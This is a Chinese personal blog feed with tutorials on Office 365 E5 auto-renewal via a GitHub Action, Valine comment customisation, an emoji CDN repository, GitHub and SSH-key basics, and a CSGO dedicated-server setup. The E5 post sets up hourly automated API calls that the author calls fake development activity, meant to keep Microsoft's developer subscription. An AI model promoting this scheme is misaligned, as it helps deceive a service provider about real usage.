同样,我们还是要先注册一个应用,获取应用ID和应用机密,怎么注册看自动续订程序法

唯一不同的是,我们需要的权限变为以下权限:

Files.Read.All Files.ReadWrite.All Sites.Read.All Sites.ReadWrite.All

User.Read.All User.ReadWrite.All Directory.Read.All Directory.ReadWrite.All

Mail.Read Mail.ReadWrite MailboxSettings.Read MailboxSettings.ReadWrite

勾选完下面的权限保存,别忘了要点允许!!!

我们使用rclone来获取我们的refresh_token,你可以点击这里下载rclone

在命令行里,输入

1
rclone authorize "onedrive" "之前保存的应用id" "之前保存的应用秘钥"

来打开登录窗口,在窗口内登录后,在命令行里面找到refresh_token:并把后面的内容直到,"expiry"的部分复制下来备用

接着我们回到我们的仓库,打开里面的1.txt文件,把刚刚获取的refresh_token贴进去

打开仓库设置,点击Secret,我们添加两个东西

第一个是CONFIG_ID,里面的内容写为id=r'你的应用id',第二个是CONFIG_KEY,里面的内容写作secret=r'你的应用机密'

接着打开仓库里面的1.txt,把你的refresh_token贴进去

打开右上角自己头像下的Settings,选到Developer Settings,再点到Personal access tokens,在这里我们新建一个token,名字随便填,但是权限我们需要勾一下内容

admin:repo_hook repo workflow

然后保存即可,回到我们的仓库,点击顶上的Action,如果你没有开过Action,那么这里会需要让你打开同意条例来打开Action,打开后,我们给自己的这个仓库点个Star,来手动触发我们的Action

在Action界面我们可以看到我们的Workflow是否运行正常,如果运行后打绿色的勾就说明成功了,这个时候就不需要再管它了,直接把这个仓库放着就好了,每一小时就会自动调用一次API,达到微软要求的开发(伪)目的


题外话

我今天重新开了一个E5的订阅,反正看看能撑多久

续费成功图

]]>
+ + + + + Software + + + + + + + Software + + Script + + Office365 + + + +
+ + + + + Valine-Customize魔改教程 + + /posts/Valine-Customize/ + +

本篇为我的修改思路,如果你想直接使用我修改过后的版本,可以直接将https://github.com/GamerNoTitle/Valine-Magic更新日志中的最新版js链接引入

在看本篇之前,请确保:

  • 你有一定的代码基础
  • 你能够看懂Python代码和JavaScript
  • 你精通Valine的使用

Valine在2020/4/21更新了v1.4.5,支持了自定义表情包,故Valine-Magic将不再提供修改的js,改为提供Valine的表情列表

我们本篇要做的事情有两个

①加入自定义表情

②判断邮箱为QQ邮箱则显示QQ头像

③为修改UI文字提供思路

话不多说 让我们开始吧


加入自定义表情

首先,我们需要获得valine的js文件,这里直接访问Valine的CDN获取https://cdn.jsdelivr.net/npm/valine/dist/Valine.min.js

Valine官方JS

打开后是一个页面,我们直接全选复制,粘贴到一个新的js文件中

温馨提示:因为js中的字符数稍微(手动着重)有点多,所以说如果没有较为强劲的电脑可能无法很快做到文本格式化

首先我们需要修改的是Valine的表情CDN,如果不修改的话,你的表情链接前面会自动加上https://img.t.sinajs.cn/t4/appstyle/expression/ext/normal字段导致表情无法被读取

我们直接以//img.t.sinajs.cn作为关键词检索CDN,很快就得到了CDN的位置

CDN搜索

我们将这里的CDN的内容直接删掉,留空

接着我们搜索valine自带的表情标签,而第一个的表情标签是smile,我这里就直接搜索smile,这样可以直接定位到表情列表的头部

表情列表搜索

接下来,我们需要上传自己的表情,并且按照这个格式制作一个表情列表

我个人的做法是:将表情包上传到Github仓库,通过jsdelivr来使用;通过Python脚本遍历当前目录下的所有文件,自动生成表情列表

上传就不必说了,直接用Git上传即可

生成列表生成脚本我是自己弄了一小段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
path = 'D:\xxx\BQB'# 路径已屏蔽QAQ
def findAllFile(base):
for root, ds, fs in os.walk(base):
for f in fs:
yield f

def main():
base = './'
linklist=[]
num=1
for i in findAllFile(base):
linklist.append('custom{}: "https://cdn.bili33.top/gh/Vikutorika/assets@master/img/BQB/{}",'.format(num,i))
num=num+1
print(str(linklist).replace(',\', \'',', '))
if __name__ == '__main__':
main()

这里通过os.walk遍历当前目录下的文件,并且将获取到的文件名通过字符串拼接的方式拼在一起,然后存入列表linklist,接着打印的时候将固定的字符串格式,', '给删除掉(因为是list对象,所以打印出来的时候有固定格式),接着就会给我生成表情列表啦!

生成表情列表

接着将获取到的列表覆盖入Valine的表情列表,保存

在自己的网站引入Valine的CDN的时候引入自己的js文件即可

接着我们就会看到表情列表里面的自定义表情啦!

判断为QQ邮箱将头像设定为QQ头像

这里我们还是打开刚刚的js文件,直接搜索E.cdn+(0,s.default)(t.get("mail"))+E.params,会给我们定位到一个位置

搜索有关字段

我们找到下图中我鼠标所在的位置,回车换行

换行位置

换行以后,加入以下内容

1
2
3
4
5
6
7
8
9
var qq_img = E.cdn+(0,s.default)(t.get("mail"))+E.params;
if (t.get("mail").indexOf("@qq.com") >= 0) {
var prefix = t.get("mail").replace(/@.*/, "");//前缀
var pattern = /^\d+$/g; //正则表达式
var result = prefix.match(pattern);//match 是匹配的意思
if (result !== null) {
qq_img = "//q1.qlogo.cn/g?b=qq&nk=" + prefix + "&s=100";
}
}

然后回到我们刚刚搜索的地方,从'<img处开始,到后面的第一个>'修改为以下内容

1
'<img class="vimg" src="'+(qq_img)+'">'

保存即可,然后引入刚刚我们修改的JS,在评论时邮箱填入QQ邮箱,看看是不是有QQ头像了?

修改UI文字

我们修改UI文字其实非常简单,要修改的东西也是在这个js文件里面

我们随便搜索一个按钮显示的文字,我们就会发现,附近都是我们要修改的文字

搜索有关字段

我们只需要对这些文字进行修改即可,修改成啥样嘛?就看你自己啦!


题外话

啦啦啦!终于引入B站表情包啦!

新建了一个Github项目在这https://github.com/GamerNoTitle/Valine-Magic

以后新的表情包就丢在这里啦!更新日志也写在这里,你可以通过Issue或者PR提交新的表情包

有会修改ValineUI的大佬请联系我!我想做分类标签!!!

Valine在2020/4/21更新了v1.4.5,支持了自定义表情包,故Valine-Magic将不再提供修改的js,改为提供Valine的表情列表

]]>
+ + + + + Tech + + + + + + + Tech + + Customize + + + +
+ + + + + Valine-Magic - Valine表情仓库 + + /posts/Valine-Magic/ + +

Valine在2020/4/21更新了v1.4.5,支持了自定义表情包,故Valine-Magic将不再提供修改的js,改为提供Valine的表情列表,在使用列表之前,请将你的ValineCDN修改为https://valinecdn.bili33.top/
Star

FOSSA Status

访问量(自2020.10.25 11:00:00)

点击对应的表情名可以直接到达表情列表,请注意:你在使用本仓库内的表情时请将Valine的CDN设置为下面表格中的任意一个

已经适配MiniValine#8,有问题请使用issue反馈

在线详细情况可以点击issue#6进行查看

更新日志

你可以提交表情包,请阅读提交的正确方式

CDN服务器(点击可看在线状态)CDN链接优势劣势
Githubhttps://valinecdn.bili33.top/链接短,快有CloudFlare的301跳转作为统计,有可能会崩服
Githubhttps://cdn.jsdelivr.net/gh/GamerNoTitle/ValineCDN@master/非常快有可能会崩服
Codinghttps://mirrorcdn.bili33.top/链接短,较快有CloudFlare的301跳转作为统计,Coding服务器总是崩
Codinghttps://gamernotitle.coding.net/p/ValineCDN/d/ValineCDN/git/raw/master/较快Coding服务器总是崩

Valine

复制的列表可以直接复制到例如butterfly主题的valine.json内,或者是各种用于放Valine表情配置的地方

请注意:如果你想添加多个分类,请记得在每个分类的最后一个表情后面加个,否则Valine无法识别。假设下面这个表情为该系列最后一个表情:

1
"hotkey1": "bilibiliHotKey/1.jpg"

你想在这个表情下面添加其他表情的时候,那么请在这个表情的后面加个,就像下面这样

1
"hotkey1": "bilibiliHotKey/1.jpg",

如果你有新的表情包想要加入,你可以提出issue,或者直接发到admin@bili33.top,并注上你的ID和表情包名字(中文英文都需要)

仓库内的那个PY脚本是我提前编写好用来写表情列表的脚本,如果你有需要可以随意取用

这里有跟本项目同类型的表情仓库,如果在本仓库未找到你想要的表情包可以到这里找 表情速查

MiniValine

直接复制每个分类中的MiniValine所提供的链接(其中https://valinecdn.bili33.top/可以替换为任意CDN链接(见上表)),然后放在emotionUrl里面即可,请注意遵循列表写法,如:

1
2
3
4
5
6
7
8
9
10
11
12
13
<body>
<div class="mvcomment"></div>
<script>
new MiniValine({
el: '.mvcomment',
appId: 'appId',
appKey: 'appKey',
placeholder: 'Write a Comment O(∩_∩)O~~',
emotionUrl: ['https://valinecdn.bili33.top/alu','https://valinecdn.bili33.top/bilibiliHotKey']
})
</script>
</body>

表情分类

哔哩哔哩热词系列哔哩哔哩小电视系列哔哩哔哩2233娘系列
阿鲁alu系列メンヘラちゃん(Menhera-chan)系列表情包HONKAI崩坏3 日常篇
HONKAI崩坏3 观星篇HONKAI崩坏3 蜡笔日常篇HONKAI崩坏3 纯色日常篇
HONKAI崩坏3 史丹HONKAI崩坏3 爱酱HONKAI崩坏3 目标!幽兰黛尔
HONKAI崩坏3 芽衣的剑道修行HONKAI崩坏3 2019新年つり目獣耳スタンプ(Sticker of the slant eyes & cat girl)
Arcaea動く!まふまふスタンプ(ねこ)Mafumafu Animation sticker (cat)微博原生表情包
百度贴吧原生表情包Snow Miku雪初音表情包(LINE)うさみみ少女(SWEETIE BUNNY)
小坏坏表情包Yurui-NekoCute-Emoji
Set667MarupConvenience Store Notes2
Coolapk酷安aodamiao嗷大喵lengtu冷兔
QQ官方表情钉钉官方表情小黑盒表情包(包括盒娘和方块)
魔女之旅Majotabi(官方)

免责声明

本仓库内所有图片均来源于网络,仅供学习交流使用。若用户违反相关法律法规造成损失,将由用户自行承担,本仓库所有者和PR提交者不承担一切责任!

License

FOSSA Status

]]>
+ + + + + Tech + + + + + + + Tech + + Customize + + meme + + emoji + + + +
+ + + + + Github的基本用法 —— 给小白的新手教程 + + /posts/Github-Basic/ + +

本文是写给初到Github的新手们的,其中大量为基础内容,如果你不是Github新手玩家你可以关闭本页面!

开头语

初来乍到的萌新们,刚到Github,你们是不是一脸懵逼?我是谁?我在哪?我要干哈?
Github是全球最大的 同性交友平台 代码托管平台,在这里你可以看到各种大佬,例如国内最大的MC红石服务器TIS插件开发组@TISUnion,或者是我们再熟悉不过了的微软Microsoft;当然不只是代码,Github里面也有各种文化仓库,这里举个很好玩的仓库作为例子——表情包仓库ChineseBQB,可谓是表情包的聚集地;Github上甚至还有你想不到的项目(是什么项目我就不说了,自己点我查看

接下来,我就来跟你讲讲Github怎么使用。话不多说,让我们开始吧


主页管理

当你注册完Github并登录后,Github会将你带到首页,这里有点类似很多服务器的仪表盘吧(如图)

Github主页

其中,左边一块是跟个人有关的,包括活动仓库和所在团队,活动仓库是你发过issue、PR(pull request),点过Watch、Star、Fork的仓库,触发以上操作(上面的操作后面会说)都会将你操作的仓库添加到左边的活动仓库列表,便于你进行寻找;所在团队则是当你创建/加入一个团队并被分配到Team(队,有点类似于部门)后显示

中间那一栏是与你有关的Github的活动,Github会在上面优先列出你近期的活动(近期具体是多少天以内就不知道了,没算过),下面则会列出所有与你有关的活动,顺序为从新到旧。你可以看到你Follow的人的动态,也可以看到与你有关的动态(如别人Follow你,Star/Fork你的仓库等等)

右边一栏则是被称为Github Explore(Github探索)的东西,Github会根据你在Github的仓库访问情况推荐你可能感兴趣的仓库,右边一栏会列出3个,点击右边那一栏的Explore More→则会打开一个新的页面,里面罗列出Github今日给你推荐的项目仓库

最上面一行是导航栏,导航栏在Github的任何页面都会展示。点击Pull Requests就会列出你与你有关的所有PR,同理,点击issue也是一样。Marketplace会打开Github的插件库,里面有各种插件供你选择,有免费的当然也有付费的;Explore则是会打开跟右边Explore More一样的界面;点击右上角的个人头像可以有更多的选项,点击会出来各种管理,这个我们到个人管理再讲。

(什么?你问我的导航栏为什么是彩色的?看来你是没用过Stylus呢,装完Stylus后安装这个样式就可以让Github变成彩色的了)


个人管理

当你点击导航栏里面的头像,Github会给你弹出下面这个列表

Github个人菜单

①表示你登录的用户,这里我是用自己的用户登录的,所以写的是GamerNoTitle

②是你的个人信息,点击后会进入个人信息页面

③是你的仓库,点击后会进入自己的仓库列表

④是项目列表,不过我自己没怎么用,而且本篇教程我也不打算讲Project

⑤是你Star过的项目,点击后会对你Star的项目进行列出的操作

⑥是用来发布代码片段的Gist,没啥用(因为你在GFW的保护下)

⑦、⑧是与Github有关的,能够帮助你使用Github并且获取Github的新功能

⑨是设置,设置我们晚点讲

⑩是登出,当然就是退出啦

我们进入Profile查看一下,这里会列出你的各种信息,包括你自己设定的Slogan、你的学校、你的地理位置、你的邮箱(可以设置多个,但只有一个对外展示,未登陆者不会显示)、你的网站

Github Profile

右边上面是你PIN(钉~)的仓库,如果你想让别人一到你的个人页面就能看到你的Breaking Repositories的话你可以把你的仓库PIN到上面来;下面的小方格则是一年内你的Contribution(贡献),Commit数量越多,绿色越深;再往下就是你的活动了

在PINNED的上面,从左到右的按钮依次是:仪表盘、仓库、项目、包、Star、追随者、你追随的人。Star可以在个人菜单(上面那张标了序号的图)里面点Your Star进入,同样,仓库和项目也可以

更详细的个人资料设置,可以在设置里面进行更改,其中可更改的包括你的用户名、邮箱等

Github Settings - Profile


仓库管理

仓库创建

当你决定在Github托管你自己的代码的时候,你就可以开始创建仓库了。不过在此之前,请确保你会使用Git,Git的简单用法下面会略微涉及,但本篇绝对不会教你《Git从入门到精通》,Git的用法请自行百度。

Github新建仓库

我们点击导航栏里面的+号,选择New repository,Github会带我们到新建仓库的页面。在Repository name中填入你想要的仓库名字,仓库名可以用英文和任意符号,甚至是中文(不推荐),但是在网址中无法被识别的字符会统一被替换成-,不管你有多少个连在一起(包括中文),例如我这里有个仓库名字是!@#$%^&*(),那么Github会让你创建你的仓库名为!@#$%^&*(),但是网址中只会变成https://github.com/:user/-,没错,Github直接用一个-代替了你的!@#$%^&*(),所以仓库命名我这里提出以下几点建议:

  • 仓库名字尽量为英文
  • 仓库名中尽量不要含有特殊字符,如果需要空格的话将空格替换为-
  • 仓库名能够让别人一眼看出这个仓库是用来做什么的

遵循上面的这些建议,我相信你的仓库命名应该不会乱的

在下面有Description,填写了以后会在别人搜索或者是访问你的仓库的时候展示(如图)

Description搜索展示

Description仓库展示

再往下就是仓库的公开性,Public是公开,任何人都能访问你的仓库(只读);Private是私人仓库只有你和被你邀请的人才能够访问

再下去就是用一个README初始化你的仓库,如果勾选了Github会新建一个README来初始化你的仓库,但是README一般都是按下面的格式写的

1
# :Title

没错,就只有这一行,所以我一般不勾选

仓库初始化

这里我先新建一个名为Tutorial的仓库,公开仓库并且不勾选README初始化

Github仓库新仓库

如上图,我已经新建了一个船新的仓库我们现在要手动初始化一次

我这里新建一个文件夹,在这里打开命令行,先用Git初始化这个文件夹,并在里面放入一个README.md文件

使用Git命令来推送我们的更改

1
2
3
4
5
$ git init    # 初始化文件夹(在文件夹内创建一个.git文件夹用于存储git信息)
$ git add . # 添加所有更改,当然你也可以添加特定的更改,把.换成文件路径即可
$ git commit -m "init" # 提交更改,并留下信息为"init"
$ git remote add origin git@github.com:GamerNoTitle/Tutorial.git # 添加仓库地址到名为origin的git目标
$ git push -u origin master # Git推送到仓库,仅第一次加入git远程目标时需要,后续直接git push

我这里使用的是SSH推送方式,你也可以使用HTTPS的方式,不过缺点就在于每次都要输入Github的账号信息。

添加SSH秘钥

那么如何使用SSH方式呢?我们先打开命令行,使用ssh-keygen来创建我们的SSH秘钥,如果要求你输入的话可以直接留空回车(高级用户请自便)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/bili33/.ssh/id_rsa):
Created directory '/home/bili33/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/bili33/.ssh/id_rsa.
Your public key has been saved in /home/bili33/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:jdynahazKmHSKBGge2KnSDNlUFM7+AVADYeW4NY7CjY GamerNoTitle@ADMIN-PC
The key's randomart image is:
+---[RSA 2048]----+
|oo+*B+ |
|+ o++.o |
|.+.= o . |
|o.o o o. + |
|+E.* . S o . |
|BoX = o o |
|.+ o . +. |
| . +. |
| ..+. |
+----[SHA256]-----+

然后Windows会在C:\Users\:user\.ssh下创建两个文件,linux则会在/.ssh创建两个文件,两个系统创建的文件是一样的,都是id_rsaid_rsa.pub

Github SSH KEY页面

我们需要用记事本或者任意文本编辑器打开id_rsa.pub,将里面的内容复制,然后点开Github设置,点击左边的SSH and GPG Keys,点击右上角的NEW SSH KEY

Github添加KEY

将你的id_rsa.pub的内容粘贴到下面的大框框里面,上面填上一个便于你自己辨识的名字,然后保存

这样一来,你当前的设备就有对Github仓库的访问权限。除非你重新生成了SSH秘钥,否则无需对秘钥进行更改。

仓库初始化完成

看下面,我已经将我的README.md推送到Github仓库了

Github推送完成

仓库设置

Github仓库设置

我们点击上面的Settings,Github会把我们带到仓库的设置界面

在Options里面,有仓库的基本设定:仓库名、仓库封面图、仓库功能、Github Pages服务,还有Github所谓的危险区(对仓库的所有权或者状态进行管理的分区

左边则还有各种设置项,可以用Manage access来授予别人访问权限,当然也可以为仓库添加特定的SSH key等等

仓库发行

当我们编译完自己的程序,想要发布可执行程序的时候,就需要Release功能(当然不止于这种情况,也有想要薅一把Github的羊毛把Github当做图床加上Jsdelivr作为CDN的用法)

Github仓库导航栏

Github仓库无发行版

我们点击顶端的Release按钮,如果你之前没有Release的话界面应该是像上面这样的,我们就要点create a release来创建我们的发行

Github Release有发行版

如果你有发布过release,那你的界面应该是这样的,我们就要点右上角Draft a New Release来发布

Github新建Release

在这个界面,在左边最小的那个框里面填写版本号,版本号应该像是v1.0.0a1.0这样的,取得复杂了就很麻烦(当然只是自己用的话请随便),在长条框里面填写自己的标题,下面的大框框填写自己这个版本的详细内容,填写完后点击最下面的publish release即可。

等到我想到还有什么是要跟小白说的我会再发的,现在暂时想到这么多,当然你也可以留言


题外话

我还真的没想到有人玩Hexo不会用Github,然后就写了这一篇文章……

最近做了使用MCDR的服务器能够使用的两个插件SimpleOPMCDR-WikiSearcher,前者是根据佛冷的修改的,后者是因为TIS发布的那个用不了,然后就自己整了一个,也就整了3小时,其实不难

]]>
+ + + + + Software + + + + + + + Software + + Github + + Noob + + + +
+ + + + + CSGO服务器架设指南 + + /posts/CSGO-Server/ + +

“GOGOGO”最近我身边的小伙伴们都拉我打CSGO,还想打内战……然后就让我架设一个社区服务器。讲真,架设社区服务器的坑挺多的,我会在文中尽量把我架设服务器的过程给叙述完整,帮助你们,同样也帮助我在我忘记的时候回想起来

废话不多说,让我们开始吧(干货警告)


你需要准备:

一台有公网IP的服务器

一个Steam账号(无任何的VAC记录,没有社区违规记录)

我这里使用的是阿里云的轻量应用服务器(Ubuntu 18.04 LTS),如果你也想使用阿里云,但是没有阿里云账号,可以到下边的这个链接进行注册(顺带帮我填一下邀请码秋梨膏)

https://www.aliyun.com/minisite/goods?userCode=05u8nbft

然后可以到阿里云云翼计划购买轻量应用服务器(下面的云服务器ECS),亲测一个服务器10个人带的动没啥问题

Linux搭建方法

Steamcmd下载

首先,你需要下载Steamcmd,这是一个Steam的官方软件,关于它的详细信息,你可以在这里找到(V社官方WIKI,无需梯子)

自动安装

如果你的服务器是64位的Linux系统,你需要运行以下命令安装32位的运行库

1
2
3
4
$ sudo add-apt-repository multiverse
$ sudo dpkg --add-architecture i386
$ sudo apt update
$ sudo apt install lib32gcc1 steamcmd

然后就可以直接使用

1
$ apt install steamcmd# Ubuntu用户

或者

1
$ yum install steamcmd # CentOS用户

来安装Steamcmd,如果你更新了yum库或者apt库仍然提示未找到steamcmd包,那么你可以使用手动安装的方法

手动安装

手动安装就是自己从V社的官方服务器中获取可执行文件,当然在这之前,你还是需要安装32位的运行环境

  • Ubuntu

    1
    $ sudo apt-get install lib32gcc1
  • CentOS X86

    1
    $ yum install glibc libstdc++
  • CentOS X64

    1
    $ yum install glibc.i686 libstdc++.i686

安装完运行库后,我们需要下载steam官方的软件包

1
$ curl -sqL "https://steamcdn-a.akamaihd.net/client/installer/steamcmd_linux.tar.gz" | tar zxvf -

使用上面这一条命令下载软件包,解压后应该有个steamcmd.sh和一个文件夹。我们直接运行steamcmd.sh

1
$ bash steamcmd.sh

然后它会进入更新状态,就像是你平常打开Steam的那个小白窗

Steam更新小白窗

等它最后显示为Steam>并且是输入状态的时候,它就完成了更新。至此,你就完成了Steamcmd的安装

按照steam官方的意思,他们不推荐使用root账户来运行steamcmd(我也不知道为什么),然而我实际上用root账户开下来也没有什么不妥的地方,所以是否使用root账户取决于你们自己吧

CSGO服务器安装

在这之前,请确保你的服务器装得下CSGO的所有文件,服务端的大小跟客户端没差多少,请确定你的服务器有那么多的空间!!!

我们在Steamcmd里面输入login anonymous来进行匿名登录

1
$ Steam>login anonymous

当然你也可以使用你自己的账号登录

1
$ Steam>login :Steam_Account :Password :Steam_Guard

其中,:Steam_Account是你的Steam登录名,:Password是你的密码,:Steam_Guard是你的Steam令牌,如果你是使用邮箱令牌的,那你可以不加上令牌,先发出登录请求,等Steam执行了登录以后会让你输入你的邮箱验证码的

登录完成后,我们的Steamcmd就正式接入了Steam网络了。我们需要安装CSGO服务器

1
$ Steam>app_update 740 validate

用上面的命令来安装CSGO服务器,740是CSGO服务器这款应用在Steam的注册ID,validate是文件验证,初次安装需要进行文件验证,以后升级可以直接使用

1
$ Steam>app_update 740

来进行升级。如果你的服务器不够空间,会给你报错,你可以先退出Steamcmd,在linux的命令行中使用

1
$ df -h

来查看你的空间是否足够,一般来说需要查看最右边Mounted on/这一个目录的剩余,Avail就是这个目录剩余的空间。

当你输入命令安装CSGO服务器后,Steamcmd会进入安装状态等到最后提示Successfully installed即为安装完成,你的CSGO已经被安装在了./steamapps/common/Counter-Strike Global Offensive Beta - Dedicated Server里面了

如果你觉得它太长了,你可以使用

1
$ Steam>force_install_dir :dir

来安装到你觉得合适的地方,请将:dir换成你要的目录,并且在app_update前执行!

配置服务器

安装完了以后,我们就要进行服务器的配置。CSGO服务器默认的配置很令人头疼的:竞技模式、TK开启、TK惩罚等等等等,各种不方便的东西都有。我们需要修改服务器的配置

CSGO也给我们提供了很方便的方法修改服务器,我们可以使用一个文件进行修改。

我们在CSGO服务器目录下的./csgo/cfg文件夹中新建一个文件叫做server.cfg,然后在这里面修改我们需要的配置。我先贴出我的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
rcon_password "" // OP 密码
// "" 表示没有
hostname "服务器"
// 服务器名称
sv_region 255 // 服务器所在区域注册参数
// 255=全球
// 0=美国东部
// 1=美国西部
// 2=南美洲
// 3=欧洲
// 4=亚洲
// 5=澳洲
// 6=中东
// 7=非洲
sv_rcon_minfailures 3
// 允许输入OP密码 错误次数下限 // 达到下限则封禁对方的IP
sv_rcon_banpenalty 5
// 封禁的时限 单位 分钟
// 0=永久
sv_maxupdaterate 100
// 服务器每秒更新最大频率
// 根据实际网络状况调节
// sv_maxrate / 300 = 要设的值 // 默认=30
// 局域网=101
sv_minupdaterate 40
// 服务器每秒更新最小频率
sv_unlag 1
// 玩家延时补偿
// 0=关闭
// 1=开启(默认)
sv_maxunlag 0.5 // 延时补偿最大值默认 0.5 // 0.5=500毫秒(默认)
sv_voiceenable 1 // 服务器是否允许麦克风语音通讯 // 0=禁止
// 1=允许(默认)
sv_unlagsamples 1 // 延时补偿数据包平均采样数量 // 默认=1
sv_unlagpush 0 // 服务器推进延时补偿
// 0=关闭(默认)
// 1=开启
mp_autokick 0 // 自动踢除不动的玩家
// 0=关闭(比赛默认)
// 1=开启
mp_autocrosshair 0 // 自动瞄准
// 0=关闭(默认)
// 1=开启
mp_autoteambalance 0
// 自动平衡双方人数
// 0=关闭(比赛默认)
// 1=开启
mp_buytime 0.25 // 每回合购买武器装备时间单位分钟 // 比赛默认=0.25
mp_consistency 1 // 防止某些模型被更改
// 0=关闭
// 1=开启(默认)
mp_c4timer 35 // C4爆炸倒计时单位秒
// 比赛默认=35
mp_decals 300 // 墙壁上的血花弹孔贴图细节数据传送(200-300)
mp_falldamage 1 // 高处落下伤害
// 0=关闭
// 1=开启(默认)
mp_fadetoblack 0 // 死后黑屏
// 0=关闭(默认)
// 1=开启
mp_flashlight 1 // 手电筒
// 0=禁止
// 1=允许(默认)
mp_forcechasecam 2 // 死后跟随
// 0=所有玩家
// 1=仅队友
// 2=仅队友,主视角(比赛默认)
mp_forcecamera 2 // 死后视角选择
// 0=全部视角
// 1=仅队友,全部视角
// 2=仅队友,主视角(比赛默认)
mp_footsteps 1 // 脚步声
// 0=关闭
// 1=开启(默认)
mp_fraglimit 0 //杀人数上限(1~n),超过上限就换地图 // 0=关闭(默认)
mp_freezetime 8 // 每回合开始冻结时间单位秒
mp_friendlyfire 1 // 友军伤害
// 0=关闭(默认)
// 1=开启
mp_friendly_grenade_damage 1
// 友军手雷伤害
// 0=关闭
// 1=开启
mp_hostagepenalty 0 // 惩罚人质杀手
// 0=不惩罚(默认)
// 1~N=人质被杀数量,超过则踢出该玩家
mp_limitteams 0 // 两队人数差异上限
// 超过此上限,新玩家只能当观察员 // 比赛默认=10
sv_logbans 1
// 服务器日志里记录Ban掉玩家的内容 // 0=不记录
// 1=记录
mp_logecho 0 // 将服务器日志反馈到控制台 // 0=关闭
// 1=开启
mp_logdetail 3 // 服务器日志里记录攻击信息 // 0=不记录任何信息
// 1=记录敌人攻击
// 2=记录队友攻击
// 3=记录所有攻击
mp_logfile 1 // 服务器记录日志为文件 // 0=不记录
// 1=记录
mp_logmessages 1 // 服务器日志里记录谈话内容 // 0=不记录
// 1=记录
mp_maxrounds 30 // 回合上限,达到此上限,自动重新载入新地图
// 0=无回合上限(默认)
mp_playerid 0 // 当准星指向敌人或队友时,显示他们的名字
// 0=显示所有人(比赛默认)
// 1=仅显示队友
// 2=不显示
mp_roundtime 2
// 每回合时限单位分钟
mp_timelimit 0
// 地图最大时限,达此时限,自动重新载入新地图
// 0=无时限
mp_tkpunish 0
// 惩罚队友杀手
// 0=关闭(默认)
// 1=开启
mp_startmoney 800 // 第一回合开始金钱(800~16000) // 加时赛=10000
mp_winlimit 0
// 一方最大胜利回合数,达到此数量,自动重新载入新地图
// 0=无限制(默认)
sv_aim 0
// 自动瞄准
// 0=关闭(默认)
// 1=开启
sv_airaccelerate 10 // 玩家在空中移动的速度
// 默认=10
sv_airmove 1 // 在空中移动&转向
// 0=禁止
// 1=允许(默认)
sv_allowdownload 1
// 客户端下载服务器资源 // 0=禁止
// 1=允许(默认)
sv_allowupload 1
// 客户端上传自己的喷图 // 0=禁止
// 1=允许(默认)
sv_alltalk 1 // 警匪通话
// 0=禁止(默认)
// 1=允许
sv_proxies 1 // HLTV代理
// 0=禁止
// 1=允许(默认)
sv_cheats 0 // 作弊模式
// 0=关闭(默认)
// 1=开启
sv_clienttrace 1.0 // 客户端模型的范围框的尺寸
// 默认 1.0
sv_clipmode 0
// 锁定客户端快速模式
// 0=关闭(默认)
// 1=开启
sv_friction 4
// 地面摩擦力默认 4
// 数值越低,摩擦越小
sv_gravity 800 // 重力默认 800
sv_maxrate 20000 // 服务器最大传输速率<0-25000> // (服务器上传带宽 x 125) /服务器设定的最大人数 = 要设的值
// 0=无限制
// 局域网=25000
sv_maxspeed 320 // 客户端最大移动速度
sv_minrate 0
// 服务器最小传输速率<0-25000> // 0=无限制
sv_send_logos 1 // 客户端相互之间传送喷图
// 0=禁止
// 1=允许(同时确保sv_allowdownload键值为1)
sv_sendvelocity 0
// 服务器混合物理运算,适用于较好配置的服务器 // 0=关闭
// 1=开启
sv_send_resources 1
// 自动向客户端传送地图关联的*.res文件里包括的资源文件 // 0=关闭
// 1=开启(同时确保sv_allowdownload为1)
sv_stepsize 18
// 玩家的步伐距离
// 默认 18
sv_stopspeed 75
// 玩家停止移动时的速度默认 75
sv_timeout 65
// 客户端连接服务器超时的时限,达到时限则断开连接
sv_voicecodec voice_speex // 语音通话解码
// voice_miles是HL引擎长期以来用的语音解码(默认),占用带宽较大,为32kbps
// voice_speex是Valve新加入的解码,优于voice_miles,占用带宽较少,为2.4kbps至15.2kbps
sv_voicequality 5
// 客户端语音通话质量(确保sv_voicecodec voice_speex)
// 1=非常差...........占用带宽 2.4 kbps // 2=差...............占用带宽 6.0 kbps // 3=中等.............占用带宽 8.0 kbps // 4=好...............占用带宽 11.2 kbps // 5=非常清晰.........占用带宽 15.2 kbps
allow_spectators 1
// 观察员模式
// 0=禁止
// 1=允许
decalfrequency 30
// 玩家喷图的时间间隔单位秒
edgefriction 2
// 玩家与玩家、墙壁、物体之间的摩擦
// 默认 2
host_framerate 0
// 与Demo录制有关
// 0<N<1 为慢录
// n=0 为正常(默认)
// n>1 为快录
log on
// 开始记录日志
pausable 1
// 客户端暂停游戏
// 0=禁止
// 1=允许
// Steam社区服务器验证
sv_setsteamaccount xxx
// 模式参数
game_mode 1
game_type 0
mapcyclefile mapcycle.txt
// 地图循环列表所在的.txt文件
// *.txt = cstrike\*.txt文件
// Use this file to configure your DEDICATED server. // This config file is executed on server start.
// load ban files
exec listip.cfg
exec banned.cfg

其中很多内容我都注释好了,其实这个配置文件也是我从网上找来然后进行修改得出的。其中有几个比较重要的参数:

rcon_password管理员密码,在控制台可以输入密码使用管理员权限,就不需要在后台使用指令

hostname服务器名称,记得一定要修改,之前翻社区服务器的时候发现很多没修改的都是写着Counter-Strike Global Offensive的

